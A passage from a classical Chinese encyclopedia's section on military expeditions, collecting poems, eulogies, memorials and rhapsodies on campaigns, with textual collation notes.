出 征 诗 曰 . 重 华 隆 帝 道 . 戎 蛮 或 来 宾 . 徐 夷 兴 有 周 . 鬼 方 亦 违 殷 . 今 在 盛 明 世 . 寇 虐 动 西 垠 . 单 醪 岂 无 味 . 挟 纩 感 至 仁 .\n梁 吴 筠 古 意 诗 曰 . 匈 奴 数 欲 尽 . 仆 在 玉 门 关 . 莲 花 穿 剑 锷 . 秋 月 掩 刀 环 . 春 机 思 窈 窕 . 夏 鸟 鸣 绵 蛮 . 中 人 坐 相 望 . 狂 夫 终 不 还 .\n又 边 城 将 诗 曰 . 塞 外 何 纷 纷 . 胡 骑 欲 成 群 . 尔 时 始 应 募 . 来 投 霍 冠 军 . 刀 含 四 尺 影 . 剑 抱 七 星 文 . 袖 间 血 洒 地 . 车 中 旌 拂 云 . 轻 躯 如 未 殡 . 终 当 厚 报 君 .\n又 边 城 将 诗 曰 . 仆 本 边 城 将 . 驰 射 灵 关 下 . 箭 衔 雁 门 石 . 气 振 武 安 瓦 . 勋 轻 赏 发 兵 . 名 高 拜 横 野 . 留 书 应 凿 楹 . 传 功 须 勒 社 . 徒 倾 七 尺 命 . 酬 恩 终 自 寡 .\n又 边 城 诗 曰 . 闻 君 报 一 餐 . 远 送 出 平 野 . 玉 摽 丹 霞 剑 . 金 络 艳 光 马 . 高 旗 入 汉 飞 . 长 鞭 匿 地 写 . 曙 星 海 中 出 . 晓 月 山 头 下 . 岁 晏 坐 论 功 . 自 有 思 臣 者 .\n又 边 城 诗 曰 . 临 淄 重 蹴 踘 . 西 城 好 击 刺 . 不 要 身 后 名 . 专 骋 眼 前 智 . 君 看 班 定 远 . 立 功 不 负 义 . 掣 拽 二 丈 旗 . 踯 躅 双 凫 骑 . 但 问 相 知 否 . 死 生 无 险 易 .\n【 赞 】 晋 孙 楚 白 起 赞 曰 . 烈 烈 桓 桓 . 时 维 武 安 . 神 机 电 断 . 气 济 师 然 . 南 折 劲 楚 . 走 魏 禽 韩 . 北 摧 马 服 . 凌 川 成 丹 . 应 侯 无 良 . 苏 子 入 关 . 噭 噭 谗 口 . 火 燎 于 原 . 遂 焚 杜 邮 . 与 萧 俱 燔 . 惟 其 没 矣 . 古 今 所 叹 .\n又 韩 信 赞 曰 . 淮 阴 屈 节 . 盘 于 幽 贱 . 秦 失 其 鹿 . 英 雄 交 战 . 践 楚 知 亡 . 抚 戈 从 汉 . 遂 寤 明 主 . 超 然 虎 奋 . 威 震 赵 魏 . 擒 项 平 难 . 割 据 山 川 . 称 孤 南 面 . 惜 哉 遘 疑 . 一 朝 书 叛 .\n又 乐 毅 赞 曰 . 乐 生 诞 节 . 寔 立 弘 度 . 丹 旄 电 麾 . 秦 韩 景 附 . 威 震 济 西 . 齐 愍 失 据 . 惠 之 不 敏 . 翻 然 高 翥 . 栖 迟 一 丘 . 以 保 皓 素 .\n【 表 】 后 魏 温 子 升 广 阳 王 北 征 请 大 将 表 曰 . 今 四 郊 多 垒 . 三 军 申 发 . 率 土 之 滨 . 莫 敢 宁 晏 . 况 忝 末 属 . 复 董 元 戎 . 臣 不 尽 心 . 谁 将 竭 力 . 岂 容 饰 让 . 苟 违 戎 重 . 但 以 军 旅 之 事 . 实 所 未 学 . 求 得 重 将 . 随 方 指 麾 . 臣 请 先 驱 . 被 坚 督 战 . 若 使 旗 鼓 相 望 . 埃 尘 相 接 . 决 机 两 阵 之 间 . 不 辞 万 死 之 地 . 脱 独 委 臣 . 专 总 戎 旅 . 兵 术 靡 常 . 军 机 屡 变 . 以 臣 当 之 . 必 所 未 达 . 虽 奉 广 筭 . 有 均 胶 柱 .\n【 论 】 魏 何 晏 韩 白 论 曰 . 此 两 将 者 . 殆 蚩 尤 之 敌 对 . 开 辟 所 希 有 也 . 何 者 胜 . 或 曰 . 白 起 功 多 . 前 史 以 为 出 奇 无 穷 . 欲 窥 沧 海 . 白 起 为 胜 . 若 夫 韩 信 . 断 幡 以 覆 军 . 拔 旗 以 流 血 . 其 以 取 胜 . 非 复 人 力 也 . 亦 可 谓 奇 之 又 奇 者 哉 . 白 起 破 赵 军 . 诈 奔 而 断 其 粮 道 . 取 胜 之 术 . 皆 此 类 也 . 所 谓 可 奇 于 不 奇 之 闲 矣 . 安 得 比 其 奇 之 又 奇 者 哉 .\n宋 范 晔 二 十 八 将 论 曰 . 二 十 八 将 者 . 前 世 所 为 上 应 二\n十 八 宿 . 未 之 详 也 . 然 咸 能 感 会 风 云 . 奋 其 智 勇 . 议 者\n多 非 光 武 . 不 以 功 臣 任 职 . 至 使 英 姿 茂 绩 . 委 而 勿 用 .\n然 原 夫 良 图 远 筭 . 固 将 有 以 焉 尔 . 若 乃 王 道 既 衰 . 降 及\n霸 德 . 犹 能 受 授 惟 庸 . 勋 贤 兼 序 . 如 管 隰 之 迭 升 桓 世 .\n先 赵 之 同 列 文 朝 . 可 谓 兼 通 矣 . 降 自 秦 汉 . 世 资 战 力 .\n至 于 翼 夫 王 运 . 皆 武 人 屈 起 . 亦 有 鬻 缯 盗 狗 . 轻 猾 之 徒\n. 或 崇 以 连 城 之 赏 . 或 任 以 阿 衡 之 地 . 故 势 疑 则 隙 生 .\n力 侔 则 乱 起 . 萧 樊 且 犹 缧 绁 . 信 越 终 见 菹 戮 . 不 其 然 乎\n. 因 兹 以 降 . 迄 于 孝 武 . 宰 辅 五 世 . 莫 非 公 侯 . 遂 使 搢\n绅 道 塞 . 贤 能 蔽 拥 . 故 光 武 监 前 事 之 违 . 存 矫 枉 之 志 .\n虽 寇 邓 之 高 勋 . 耿 贾 之 鸿 烈 . 分 土 不 过 大 县 数 四 . 所 加\n特 进 朝 请 而 已 . 观 其 治 平 临 政 . 课 职 责 咎 . 将 谓 导 之 以\n法 . 齐 之 以 刑 者 乎 . 永 平 中 . 显 宗 追 感 前 世 功 臣 . 乃 图\n画 二 十 八 将 于 南 宫 云 台 . 其 外 又 有 王 常 李 通 窦 融 卓 茂 .\n合 三 十 二 人 . 叙 其 本 第 . 系 之 篇 末 .\n春 秋 说 题 辞 曰 . 伐 人 者 . 国 内 行 威 . 有 所 斩 坏 . 伐 之 为 言 败 也 .\n太 公 金 匮 曰 . 武 王 伐 殷 . 丁 侯 不 朝 . 尚 父 乃 画 丁 侯 射 之 . 丁 侯 病 . 遣 使 请 臣 . 尚 父 乃 以 甲 乙 日 拔 其 头 箭 . 丙 丁 日 拔 目 箭 . 戊 己 日 拔 腹 箭 . 庚 辛 日 拔 股 箭 . 壬 癸 日 拔 足 箭 . 丁 侯 病 乃 愈 . 四 夷 闻 乃 惧 . 越 裳 氏 献 白 雉 .\n尚 书 曰 . 今 予 发 . 惟 恭 行 天 之 罚 . 今 日 之 事 . 弗 于 六 步 七 步 . 乃 止 齐 焉 . 夫 子 勖 哉 . 弗 于 四 伐 五 伐 . 六 伐 七 伐 . 乃 止 齐 焉 .\n又 曰 . 帝 曰 . 咨 禹 . 惟 兹 有 苗 弗 率 . 汝 徂 征 . 禹 乃 会 群 后 . 誓 于 师 曰 . 济 济 有 众 . 咸 听 朕 命 . 蠢 兹 有 苗 . 昏 迷 不 恭 . 侮 慢 自 贤 . 反 道 败 德 . 君 子 在 野 . 小 人 在 位 . 民 弃 不 保 . 天 降 之 咎 . 肆 予 以 尔 众 士 . 奉 辞 伐 罪 .\n礼 记 曰 . 天 子 将 出 征 . 类 乎 上 帝 . 宜 乎 社 . 造 乎 祢 . 祃 于 所 征 之 地 .\n大 戴 礼 曰 . 明 主 之 所 征 也 . 诛 其 君 . 改 其 政 . 率 其 民 而 不 夺 其 财 也 . 故 曰 . 明 主 之 征 也 . 犹 时 雨 也 . 至 则 民 悦 矣 .\n左 传 曰 . 卫 大 旱 . 宁 庄 子 曰 . 周 饥 . 克 殷 而 年 丰 . 天 其 或 者 欲 使 卫 讨 邢 乎 . 从 之 . 师 兴 而 雨 . 事 具 天 部 雨 篇 .\n又 曰 . 晋 侯 复 假 道 于 虞 以 伐 虢 . 宫 之 奇 谏 曰 . 虢 . 虞 之 表 也 . 虢 亡 . 虞 必 从 之 . 谚 所 谓 辅 车 相 依 . 唇 亡 齿 寒 . 虞 虢 之 谓 也 . 虞 公 不 听 . 后 遂 为 晋 所 灭 .\n春 秋 佐 易 ○ 太 平 御 览 三 百 三 十 九 作 助 . 期 曰 . 太 尉 主 甲 卒 神 . 名 辩 会 . 曰 库 兵 动 . 鼓 自 鸣 . 得 诸 侯 象 也 .\n管 子 曰 . 桓 公 北 伐 山 戎 . 以 升 布 天 下 .\n又 曰 . 桓 公 北 伐 孤 竹 . 未 至 卑 耳 之 溪 十 里 . 援 弓 而 射 . 未 敢 发 也 . 谓 左 右 曰 . 见 前 人 乎 . 对 曰 . 不 见 . 公 曰 . 寡 人 见 人 长 尺 . 而 人 物 具 焉 . 冠 冠 . 右 袪 衣 . 马 前 疾 走 . 寡 人 其 不 济 乎 . 管 仲 曰 . 袪 衣 示 前 有 水 也 . 右 示 涉 也 . 至 卑 耳 之 溪 . 从 左 涉 . 深 及 冠 . 从 右 涉 . 方 深 至 膝 . 已 涉 大 济 . 公 拜 曰 . 仲 父 之 圣 若 此 也 .\n又 曰 . 代 出 狐 白 皮 . 狐 应 阳 之 变 . 六 月 而 一 见 . 公 贵 买 之 . 代 人 臣 难 得 . 喜 其 贵 价 . 必 相 率 而 求 之 . 令 齐 载 金 钱 之 代 谷 . 求 狐 白 皮 . 代 王 闻 之 . 果 去 其 农 . 处 山 林 求 狐 . 二 十 四 月 . 不 得 一 狸 皮 . 齐 闻 而 伐 之 . 代 王 即 将 其 国 士 卒 服 于 齐 . 事 具 兽 部 四 狐 属 篇 .\n韩 子 曰 . 秦 穆 公 以 女 乐 三 人 遗 戎 王 . 戎 王 大 悦 . 听 乐 终 岁 不 还 . 举 兵 伐 之 . 开 地 千 里 .\n史 记 曰 . 乐 毅 并 获 赵 楚 韩 魏 燕 之 兵 . 以 伐 齐 . 破 之 . 追 至 于 临 淄 . 齐 惛 王 走 保 于 莒 . 乐 毅 独 留 徇 齐 . 攻 临 淄 . 尽 取 齐 宝 财 物 祭 器 输 之 燕 . 昭 王 大 悦 . 亲 至 济 上 劳 军 . 行 赏 飨 士 . 封 毅 于 昌 国 . 号 为 昌 国 君 .\n韩 诗 外 传 曰 . 武 王 伐 纣 . 到 邢 丘 . 轭 折 为 三 . 天 雨 三 日 不 休 . 武 王 惧 . 召 太 公 而 问 之 曰 . 纣 未 可 伐 乎 . 太 公 曰 . 不 然 . 轭 折 为 三 者 . 军 当 分 介 为 三 也 . 天 雨 三 日 者 . 欲 洒 吾 兵 也 .\n淮 南 子 曰 . 人 有 伐 国 之 志 . 雄 鸡 夜 鸣 . 库 兵 动 而 戎 马 惊 .\n汉 书 曰 . 武 帝 末 年 . 悔 伐 之 事 . 乃 封 丞 相 为 富 民 侯 .\n又 曰 . 武 王 ○ 按 当 作 帝 . 南 伐 越 . 以 牡 荆 曰 . ○ 汉 书 郊 祀 志 作 画 . 北 升 ○ 汉 书 作 斗 . 登 龙 . 以 象 天 ○ 汉 书 作 太 . 一 . 命 曰 灵 旗 . 以 指 所 伐 .\n论 衡 曰 . 太 公 阴 谋 书 . 武 王 伐 殷 . 兵 至 牧 野 . 晨 举 脂 烛 . 推 掩 不 备 .\n魏 志 曰 . 景 元 四 年 . 邓 艾 伐 蜀 . 自 阴 平 . 行 无 人 之 地 七 佰 余 里 . 凿 山 通 道 . 作 桥 阁 . 山 高 谷 深 . 至 有 艰 险 . 艾 以 旗 自 裹 . 推 转 而 下 . 将 士 皆 攀 木 缘 崖 . 鱼 贯 而 进 .\n挚 虞 新 礼 议 曰 . 汉 魏 故 事 . 遣 将 出 征 . 符 节 郎 授 钺 于 朝 堂 . 新 礼 遣 将 . 御 临 轩 . 尚 书 授 节 钺 . 古 兵 书 跪 而 推 毂 之 义 也 .\n挚 虞 决 疑 要 注 曰 . 古 者 帝 王 . 征 以 齐 车 . 载 迁 庙 之 主 以 行 . 故 尚 书 甘 誓 曰 . 用 命 赏 于 祖 . 不 用 命 戮 于 社 .\n王 隐 晋 书 曰 . 咸 康 元 年 . 督 护 王 随 . 领 三 千 人 . 讨 宁 州 贼 . 吹 三 角 皆 裂 . 军 人 恶 之 . 随 曰 . 裂 者 破 也 . 当 破 贼 而 得 土 地 也 .\n【 诗 】 后 汉 崔 骃 安 封 侯 诗 曰 . 戎 马 鸣 兮 金 鼓 震 . 壮 士 激 兮 忘 身 命 . 破 光 甲 兮 跨 良 马 . 挥 长 戟 兮 廓 强 弩 .\n魏 文 帝 于 黎 阳 作 诗 曰 . 千 骑 随 风 靡 . 万 骑 正 龙 骧 . 金 鼓 震 上 下 . 干 戚 纷 纵 横 . 白 旄 若 素 霓 . 丹 旗 发 朱 光 . 追 思 大 王 德 . 胥 宇 识 足 臧 . 经 历 万 岁 林 . 行 行 到 黎 阳 .\n又 诗 曰 . 朝 发 邻 ○ 按 当 作 邺 . 城 . 夕 宿 韩 陵 . 霖 雨 谶 涂 . 与 人 困 穷 . 载 驰 载 驱 . 沐 雨 栉 风 . 舍 我 高 殿 . 何 为 泥 中 . 在 昔 周 武 . 爰 暨 公 旦 . 载 主 而 征 . 救 民 涂 炭 . 彼 此 一 时 . 唯 天 所 赞 . 我 独 何 人 . 余 不 静 乱 .\n又 诗 曰 . 殷 殷 其 雷 . 濛 濛 其 雨 . 我 徒 我 车 . 涉 此 艰 阻 . 遵 彼 洹 湄 . 言 刈 其 楚 . 班 之 中 路 . 涂 潦 是 御 . 辚 辚 大 车 . 载 低 载 昂 . 嗷 嗷 仆 夫 . 载 仆 载 僵 . 蒙 涂 冒 雨 . 沾 衣 濡 裳 .\n又 诗 曰 . 奉 辞 罚 罪 遐 征 . 晨 过 黎 山 ● 峥 . 东 济 黄 河 金 营 . 北 观 故 宅 顿 倾 . 中 有 高 楼 亭 亭 . 荆 棘 绕 蕃 丛 生 . 南 望 果 园 青 青 . 霜 露 惨 凄 宵 零 . 彼 桑 梓 兮 伤 情 .\n又 至 广 陵 于 马 上 作 诗 曰 . 观 兵 临 江 水 . 水 流 何 汤 汤 . 霜 矛 成 山 林 . 玄 甲 曜 日 光 . 谁 云 江 水 广 . 一 苇 可 以 航 . 不 战 屈 敌 虏 . 兵 记 称 贤 良 .\n魏 王 粲 从 军 诗 曰 . 从 军 有 苦 乐 . 但 问 所 从 谁 . 所 从 神 且 武 . 焉 得 久 劳 师 . 相 公 征 关 右 . 赫 怒 震 天 威 . 军 中 多 饫 饶 . 人 马 皆 溢 肥 . 徒 行 兼 乘 还 . 空 出 有 余 资 . 拓 地 三 千 里 . 往 反 速 若 飞 . 歌 舞 入 邺 城 . 所 愿 获 无 违 .\n又 从 军 诗 曰 . 原 风 厉 秋 节 . 司 典 告 详 刑 . 我 君 顺 时 发 . 桓 桓 东 南 征 . 泛 舟 盖 长 川 . 陈 卒 被 隰 坰 . 征 夫 怀 亲 戚 . 谁 能 无 此 情 . 哀 彼 东 山 人 . 喟 然 感 鹳 鸣 .\n又 诗 曰 . 从 军 征 遐 路 . 讨 彼 东 南 夷 . 方 舟 顺 广 川 . 薄 暮 未 安 坻 . 白 日 半 西 山 . 桑 梓 有 余 晖 . 蟋 蟀 夹 岸 鸣 . 孤 鸟 翩 翩 飞 . 征 夫 心 两 怀 . 凄 怆 令 吾 悲 .\n又 诗 曰 . 率 彼 东 南 路 . 将 定 一 举 勋 . 筹 策 运 帷 幄 . 一 由 我 圣 君 . 限 我 无 时 谋 . 譬 诸 具 官 臣 . 鞠 躬 中 竖 内 . 微 画 无 所 陈 . 许 历 为 完 士 . 一 言 犹 败 秦 . 我 有 素 餐 责 . 诚 愧 伐 檀 人 . 虽 无 铅 刀 用 . 庶 几 奋 薄 身 .\n宋 文 帝 北 伐 诗 曰 . 季 文 鉴 祸 先 . 辛 生 识 机 始 . 崇 眷 非 无 征 . 兴 废 要 有 以 . 自 昔 论 中 畿 . 焂 焉 盈 百 祀 . 不 睹 南 云 阴 . 但 见 胡 尘 起 . 乱 极 治 方 形 . 涂 泰 由 积 否 . 方 欲 徐 遣 气 . 矧 乃 秽 边 鄙 . 眷 言 悼 斯 民 . 纳 隍 良 在 己 . 逝 将 振 宏 罗 . 一 麾 同 文 轨 .\n宋 孝 武 帝 北 伐 诗 曰 . 表 里 跨 原 隰 . 左 右 御 川 梁 . 月 羽 皎 素 魄 . 星 旗 赩 赤 光 .\n宋 谢 庄 江 都 平 解 严 诗 曰 . 肃 旗 兰 庙 律 . 耸 钺 畅 干 灵 . 朝 晏 推 物 泰 . 通 渥 抃 身 宁 . 击 辕 歌 至 世 . 抚 壤 颂 惟 馨 .\n又 从 驾 顿 上 诗 曰 . 中 权 临 楚 路 . 前 茅 望 吴 云 . 冀 马 依 风 蹀 . 边 箫 当 夜 闻 .\n宋 傅 亮 从 武 帝 平 闽 中 诗 曰 . 鞠 旅 扬 城 . 大 搜 徐 方 . 旅 旌 首 路 . 元 戎 启 行 . 弭 楫 洪 河 . 总 辔 崇 芒 .\n又 从 征 诗 曰 . 息 徒 西 楚 . 伫 挹 旧 乡 . 止 犹 岳 立 . 动 则 云 翔 . 烈 烈 群 师 . 星 言 启 行 . 泛 舟 掩 河 . 秣 马 登 芒 .\n齐 虞 羲 霍 将 军 北 伐 诗 曰 . 拥 旄 为 汉 将 . 汗 马 出 长 城 . 长 城 地 势 险 . 万 里 与 云 平 . 穷 秋 八 九 月 . 虏 骑 入 幽 并 . 飞 狐 白 日 晚 . 瀚 海 愁 云 生 . 乘 墉 挥 宝 剑 . 蔽 日 引 高 旌 . 云 屯 七 萃 士 . 鱼 丽 六 郡 兵 . 胡 笳 关 下 思 . 羌 笛 陇 头 鸣 . 天 长 地 自 久 . 人 道 有 亏 盈 . 未 穷 激 楚 乐 . 已 见 高 台 倾 .\n齐 王 融 从 武 帝 琅 邪 城 讲 武 应 诏 诗 曰 . 治 兵 闻 鲁 策 . 训 旅 见 周 篇 . 教 民 良 不 弃 . 任 智 理 恒 全 . 白 日 映 丹 羽 . 赪 霞 文 翠 旃 . 凌 山 炫 组 甲 . 带 衣 被 戎 船 . 凝 葭 郁 摧 怆 . 清 管 乍 联 绵 . 早 逢 文 化 洽 . 复 属 武 功 宣 . 愿 陪 玉 銮 右 . 一 举 扫 燕 然 .\n梁 武 帝 宴 诗 曰 . 止 杀 心 自 详 . 胜 残 道 未 遍 . 四 主 渐 怀 音 . 九 夷 稍 革 面 . 世 治 非 去 兵 . 国 安 岂 忘 战 . 钓 台 闻 史 籍 . 歧 阳 书 记 传 .\n梁 简 文 帝 和 武 帝 诗 曰 . 校 尉 开 疏 勒 . 将 军 定 月 支 . 南 通 新 息 柱 . 北 届 武 阳 碑 . 豫 游 戏 马 馆 . 教 战 昆 明 池 . 银 塘 写 清 渭 . 铜 钩 引 直 漪 . 常 从 良 家 子 . 命 中 幽 并 儿 . 金 鞍 饰 紫 佩 . 玉 燕 帖 青 骊 . 车 书 今 已 共 . 愿 奏 云 亭 仪 .\n又 诗 曰 . 祭 壶 今 息 鼓 . 董 案 成 开 帷 . 聊 举 青 龙 阵 . 正 取 绛 宫 时 . 犒 兵 随 后 拒 . 軷 祭 逐 前 师 . 军 门 初 露 节 . 步 陈 始 分 旗 .\n梁 元 帝 蕃 难 未 静 述 怀 诗 曰 . 玉 节 威 云 梦 . 金 钲 韵 渚 宫 . 霜 戈 临 渐 白 . 日 羽 映 流 红 . 单 醪 结 猛 将 . 芳 饵 引 群 雄 . 箭 拥 淇 园 竹 . 剑 聚 若 溪 铜 . 亟 睹 周 王 骏 . 多 逢 鲍 氏 骢 . 谋 出 河 南 贾 . 威 寄 陇 西 冯 . 溪 云 连 阵 合 . 却 月 半 山 空 . 楼 前 飘 密 柳 . 井 上 落 疏 桐 . 差 营 逢 霪 雨 . 立 垒 挂 长 虹 .\n又 和 王 僧 辩 从 军 诗 曰 . 山 虚 和 铙 管 . 水 静 写 楼 船 . 连 鸡 随 火 度 . 燧 象 带 烽 然 . 洞 庭 晓 风 急 . 潇 湘 夜 月 圆 . 荀 令 多 文 藻 . 临 戎 赋 雅 篇 .\n梁 吴 筠 战 城 南 诗 曰 . 蹀 躞 青 骊 马 . 往 救 城 南 畿 . 五 历 鱼 丽 阵 . 三 尺 九 重 围 . 为 君 意 已 重 . 无 功 终 不 归 .\n又 诗 曰 . 前 有 浊 樽 酒 . 忧 思 乱 纷 纷 . 小 来 重 意 气 . 学 剑 不 学 文 . 忽 值 明 关 静 . 匈 奴 遂 两 分 . 天 山 已 半 出 . 龙 城 无 片 云 . 汉 世 平 如 此 . 何 用 李 将 军 .\n又 诗 曰 . 陌 上 何 喧 喧 . 匈 奴 围 塞 垣 . 黑 云 藏 赵 树 . 黄 尘 埋 陇 垠 . 天 子 羽 书 劳 . 将 军 在 玉 门 .\n又 诗 曰 . 杂 虏 冠 铜 鞮 . 征 役 去 三 齐 . 扶 山 翦 疏 勒 . 傍 海 扫 沉 黎 . 剑 光 挥 夜 电 . 马 汗 昼 成 泥 . 何 当 见 天 子 . 画 地 取 关 西 .\n又 征 客 诗 曰 . 公 卿 来 怅 别 . 葭 声 在 狭 斜 . 玉 樽 浮 云 盖 . 朱 轮 流 水 车 . 鞚 中 悬 明 月 . 剑 杪 照 莲 花 .\n梁 沈 约 正 阳 堂 宴 劳 旋 诗 曰 . 凯 入 同 高 宴 . 饮 至 均 多 祜 . 昔 往 歌 采 薇 . 今 来 欢 杕 杜 . 善 战 惟 我 皇 . 胜 之 不 窥 户 . 推 毂 授 神 谟 . 余 壮 终 能 贾 . 浩 荡 金 罍 溢 . 周 流 玉 觞 传 .\n又 出 重 围 和 傅 昭 诗 曰 . 鲁 连 扬 一 策 . 陈 平 出 六 奇 . 邯 郸 风 雨 散 . 白 登 烟 雾 维 . 排 云 出 九 地 . 陵 定 振 五 卮 .\n梁 庾 肩 吾 被 使 从 渡 江 诗 曰 . 八 阵 引 佳 兵 . 三 河 总 舻 舳 . 绛 天 扬 远 旆 . 雷 野 驱 长 毂 . 夜 剑 动 星 芒 . 秋 潮 惊 箭 服 .\n梁 刘 孝 义 从 军 行 诗 曰 . 冠 军 亲 侠 射 . 长 平 自 合 围 . 木 落 雕 弓 燥 . 气 秋 征 马 肥 . 贤 王 皆 屈 膝 . 幕 府 复 申 威 . 何 谓 从 军 乐 . 往 反 速 如 飞 .\n北 齐 祖 孝 征 从 北 征 诗 曰 . 翠 旗 临 塞 道 . 灵 鼓 出 桑 干 . 祁 山 敛 氛 雾 . 澣 海 息 波 澜 . 戍 亭 秋 雨 急 . 开 门 朔 气 寒 . 方 系 单 于 颈 . 歌 舞 入 长 安 .\n北 齐 裴 让 之 从 北 征 诗 曰 . 沙 漠 胡 尘 起 . 关 山 烽 燧 惊 . 皇 威 奋 武 略 . 上 将 总 神 兵 . 高 台 朔 风 驰 . 绝 野 寒 云 生 . 匈 奴 定 远 近 . 壮 士 欲 横 行 .\n周 庾 信 从 驾 观 讲 武 诗 曰 . 校 战 出 长 扬 . 兵 栏 入 斗 场 . 置 阵 横 云 起 . 开 营 雁 翼 张 . 落 星 奔 骥 騄 . 浮 云 上 骕 骦 . 急 风 吹 战 鼓 . 高 尘 拥 具 装 . 骇 猿 时 落 木 . 惊 鸿 屡 断 行 .\n又 和 平 邺 应 诏 绝 句 诗 曰 . 天 策 弘 神 兵 . 风 飞 扫 邺 城 . 阵 云 千 里 散 . 黄 河 一 代 清 .\n陈 伏 知 道 从 军 五 更 啭 五 首 . 诗 曰 . 一 更 刁 斗 鸣 . 校 尉 逴 连 城 . 遥 闻 射 雕 骑 . 悬 惮 将 军 名 .\n二 更 愁 未 央 . 高 城 寒 夜 长 . 试 将 弓 学 月 . 聊 持 剑 比 霜 .\n三 更 夜 惊 新 . 横 吹 独 吟 春 . 强 听 梅 落 花 . 误 忆 柳 园 人 .\n四 更 星 汉 低 . 落 月 与 云 齐 . 依 俙 北 风 里 . 胡 笳 杂 鸟 嘶 .\n五 更 催 送 筹 . 晓 色 映 山 头 . 城 乌 初 起 堞 . 更 人 悄 下 楼 .\n陈 苏 子 卿 南 征 诗 曰 . 一 朝 游 桂 水 . 万 里 别 长 安 . 故 乡 梦 中 近 . 边 愁 酒 上 宽 . 剑 锋 但 须 利 . 戎 衣 不 畏 单 . 南 中 地 气 暖 . 少 妇 早 愁 寒 .\n陈 沈 炯 从 鸣 驾 送 军 诗 曰 . 惟 尧 称 乃 武 . 轩 后 号 神 兵 . 吊 民 资 智 勇 . 治 乱 属 师 贞 . 我 君 膺 宝 业 . 历 驾 视 前 英 . 蒲 海 方 无 浪 . 夷 山 有 未 平 . 星 光 下 结 旆 . 剑 气 上 舒 精 . 云 开 万 里 彻 . 日 丽 百 川 明 . 抚 鼓 山 灵 应 . 诏 跸 水 祇 惊 .\n陈 张 正 见 从 军 诗 曰 . 胡 兵 屯 蓟 北 . 汉 将 起 山 西 . 故 人 轻 百 战 . 聊 欲 定 三 齐 . 风 前 喷 画 角 . 云 上 舞 飞 梯 . 雁 塞 秋 声 远 . 龙 沙 云 路 迷 . 燕 然 自 可 勒 . 函 谷 讵 须 泥 .\n又 从 军 诗 曰 . 将 军 定 朔 边 . 刁 斗 出 祁 连 . 高 柳 横 长 塞 . 榆 关 接 远 天 . 井 泉 含 阵 竭 . 烽 火 映 山 然 . 欲 知 客 心 断 . 旄 旌 万 里 悬 .\n【 赋 】 后 汉 崔 骃 大 将 军 西 征 赋 曰 . 主 簿 骃 言 . 愚 闻 昔 在 上 世 . 义 兵 所 克 . 工 歌 其 诗 . 具 陈 其 颂 . 书 之 庸 器 . 列 在 明 堂 . 所 以 显 武 功 也 . 于 是 袭 孟 秋 而 西 征 . 跨 雍 梁 而 远 踪 . 陟 陇 阻 之 峻 城 . 升 天 梯 以 高 翔 . 旗 旐 翼 如 游 风 . 羽 毛 纷 其 覆 云 . 金 光 皓 以 夺 日 . 武 鼓 铿 而 雷 震 .\n魏 文 帝 述 征 赋 曰 . 建 安 之 十 三 年 . 荆 楚 傲 而 弗 臣 . 命 元 司 以 简 旅 . 予 愿 奋 武 乎 南 邺 . 伐 灵 鼓 之 硼 隐 兮 . 建 长 旗 之 飘 飖 . 曜 甲 卒 之 皓 旰 . 驰 万 骑 之 浏 浏 . 扬 凯 悌 之 丰 惠 兮 . 仰 干 威 之 灵 武 . 伊 皇 衢 之 遐 通 兮 . 维 天 纳 ○ 全 三 国 文 四 作 纲 . 之 毕 举 . 南 野 之 旧 都 . ○ 句 有 脱 文 . 聊 弭 节 而 容 与 . 遵 往 初 之 旧 迹 . 顺 归 风 以 长 迈 . 镇 江 汉 之 遗 民 . 静 南 畿 之 遐 裔 .\n魏 陈 王 曹 植 东 征 赋 曰 . 建 安 十 九 年 . 王 师 东 征 吴 寇 . 余 典 禁 兵 . 卫 官 省 . 然 神 武 一 举 . 东 夷 必 克 . 想 见 振 旅 之 盛 . 故 作 赋 一 篇 . 登 城 隅 之 飞 观 兮 . 望 六 师 之 所 营 . 幡 旗 转 而 心 思 兮 . 舟 楫 动 而 伤 情 . 顾 身 微 而 任 显 兮 . 愧 责 重 而 命 轻 . 嗟 我 愁 其 何 为 兮 . 心 遥 思 而 悬 旌 . 师 旅 凭 皇 穹 之 灵 佑 兮 . 亮 元 勋 之 必 举 . 挥 朱 旗 以 东 指 兮 . 横 大 江 而 莫 御 .\n魏 应 玚 撰 征 赋 曰 . 奋 皇 佐 之 丰 烈 . 将 亲 戎 乎 幽 邻 . 飞 龙 以 云 曜 . 披 广 路 而 北 巡 . 崇 殿 郁 其 嵯 峨 . 华 宇 烂 而 舒 光 . 摛 云 藻 之 雕 饰 . 流 辉 采 之 浑 黄 . 辞 曰 . 烈 烈 征 师 . 寻 遐 庭 兮 . 悠 悠 万 里 . 临 长 城 兮 . 周 览 郡 邑 . 思 既 盈 兮 . 嘉 想 前 哲 . 遗 风 声 兮 . 魏 徐 干 西 征 赋 曰 . 奉 明 辟 之 渥 德 . 与 游 轸 而 西 伐 . 过 京 邑 以 释 驾 . 观 帝 居 之 旧 制 . 伊 吾 侪 之 挺 劣 . 获 载 笔 而 从 师 . 无 嘉 谋 以 云 补 . 徒 荷 禄 而 蒙 私 . 非 小 人 之 所 幸 . 虽 身 安 而 心 危 . 庶 区 宇 之 今 定 . 入 告 成 乎 后 皇 . 登 明 堂 而 饮 至 . 铭 功 烈 乎 帝 裳 .\n又 序 征 赋 曰 . 余 因 兹 以 从 迈 兮 . 聊 畅 目 乎 所 经 . 观 庶 士 之 缪 殊 . 察 风 流 之 浊 清 . 沿 江 浦 以 左 转 . 涉 云 梦 之 无 陂 . 从 青 冥 以 极 望 . 上 连 薄 乎 天 维 . 刊 梗 林 以 广 涂 . 填 沮 洳 以 高 蹊 . 揽 循 环 其 万 艘 . 亘 千 里 之 长 湄 . 行 兼 时 而 易 节 . 迄 玄 气 之 消 微 . 道 苍 神 之 受 谢 . 逼 鹑 鸟 之 将 栖 . 虑 前 事 之 既 终 . 亦 何 为 乎 久 稽 . 乃 振 旅 以 复 踪 . 溯 朔 风 而 北 归 . 及 中 区 以 释 勤 . 超 栖 迟 而 无 依 .\n魏 王 粲 初 征 赋 曰 . 违 世 难 以 迥 折 兮 . 超 遥 集 于 蛮 楚 . 逢 屯 否 而 底 滞 兮 . 忽 长 幼 以 羁 旅 . 赖 皇 华 之 茂 功 . 清 四 海 之 疆 宇 . 超 南 荆 之 北 境 . 践 周 豫 之 末 畿 . 野 萧 条 而 骋 望 . 路 周 达 而 平 夷 . 春 风 穆 其 和 畅 兮 . 庶 卉 焕 以 敷 蕤 . 行 中 国 之 旧 壤 . 实 吾 愿 之 所 依 . 当 短 景 之 炎 阳 . 犯 隆 暑 之 赫 曦 . 薰 风 温 温 以 增 热 . 体 烨 烨 其 若 焚 . 